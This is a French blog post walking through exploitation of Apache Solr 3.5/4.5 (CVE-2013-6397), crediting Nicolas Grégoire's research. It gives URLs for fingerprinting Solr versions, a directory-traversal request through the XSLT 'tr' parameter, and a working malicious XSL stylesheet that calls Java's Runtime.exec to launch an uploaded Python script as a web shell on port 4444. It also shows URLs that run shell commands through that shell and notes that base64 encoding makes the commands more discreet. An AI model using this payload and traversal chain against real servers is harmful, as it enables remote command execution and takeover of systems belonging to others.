Du XSLT vers un « web shell » avec Solr 3.5/4.5 !

By KrustyHack / a couple of years ago

Dernièrement j’ai lu un article vraiment intéressant sur un exploit de Solr 3.5.0/4.5.0 qui permet via l’utilisation des xsl d’éxecuter des commandes sur le serveur cible. Alors évidemment, le cas que je vais vous montrer est spécifique et son utilisation dépend de la cible visée.

Détection de la version Solr de la cible

Lors de l’éxecution de ces 2 commandes une magnifique page décrivant le système va apparaître. Info sur les paths, la version de solr, de java, et j’en passe… Niquel pour une 1ère reconnaissance.

Solr 3.5

/solr/admin/get-properties.jsp

Solr 4.5

/solr/admin/info/system

On s’intéresse au XSLT Response Writer

Comme écrit dans la doc de Solr:

« The XSLT Response Writer applies an XML stylesheet to output. It can be used for tasks such as formatting results for an RSS feed. ». En clair on peut appliquer des genre de templates aux données pour les formatter d’une certaine manière.

Ok mais comment ça marche ? Moi-même je suis pas trop connaisseur de Solr alors bon… pas de soucis, la doc est là:

« The XSLT Response Writer accepts one parameter: the tr parameter, which identifies the XML transformation to use. The transformation must be found in the Solr conf/xslt directory. »

Classe ça ! A part le petit hic que ce .xsl doit apparement se trouver dans un dossier bien précis. Alors à moins de pouvoir uploader un fichier dans ce dossier (via une autre faille par exemple), on va plutôt voir si l’on peut appeler un fichier hors de ce dossier.

Tentative de Directory Traversal

Imaginons que via un système X (faille d’un uploader de fichiers par exemple) nous arrivons à déposer un xsl dans /home/user/tmp/test.xsl, il serait alors intéressant de pouvoir l’atteindre ! On test donc (en imaginant que « conf/xslt » est à 4 niveaux de « / » avec un fichier nommé test.xsl:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" exclude-result-prefixes="date">
  <xsl:output method="text"/>
  <xsl:template match="/">
   <xsl:variable name="dateObject" select="date:new()"/>
   <xsl:text>Date courante: </xsl:text><xsl:value-of select="$dateObject"/>
  </xsl:template>
</xsl:stylesheet>
/solr/select/?q=*:*&wt=xslt&tr=../../../../home/users/tmp/test.xsl

Ce qui nous affiche:

Date courante: Fri Oct 31 09:57:29 CET 2014

Magnifique, notre Directory Traversal a marché ! Cela veut dire que l’on peut inclure de n’importe où (ou presque).

On attaque le serveur via l’upload d’un .xsl plus costaud

En imaginant que l’on a pu uploader un ficher .py dans notre dossier personnel (comme avant avec le .xsl), pourquoi ne pas essayer de l’éxécuter ? 🙂

  • On upload cmd.xsl comme on a fait pour test.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" exclude-result-prefixes="date">
     <xsl:output method="text"/>
     <xsl:template match="/">
     <xsl:variable name="cmd"><![CDATA[/usr/bin/python /home/users/tmp/http2cmd.py]]></xsl:variable>
     <xsl:variable name="rtObj" select="rt:getRuntime()"/>
     <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
     <xsl:text>Processus: </xsl:text><xsl:value-of select="$process"/>
    </xsl:template>
</xsl:stylesheet>
  • On utilise un serveur Python pour envoyer des commandes shell et on upload le .py sur le serveur cible, comme test.xsl ou cmd.xsl avec http2cmd.py
  • On appelle notre url: /solr/select/?q=*:*&wt=xslt&tr=../../../../home/users/tmp/cmd.xsl
  • On regarde si notre serveur python est up (moi j’ai bindé sur le port 4444):
http://MONHOSTCIBLE:4444

Et ça marche:

Default web page

On va pouvoir exécuter des commandes via l’url. Par exemple, pour nous renvoyerle résultat de la commande « uname -s »

http://MONHOSTCIBLE:4444/shell?cmd=uname%20-s

Le script de Nicolas Grégoire propose églement d’envoyer des commandes encodées en base64. Pratique pour être plus discret !

Crédits

Compromising an unreachable Solr server with CVE-2013-6397 Documentation de Solr

Leave a comment: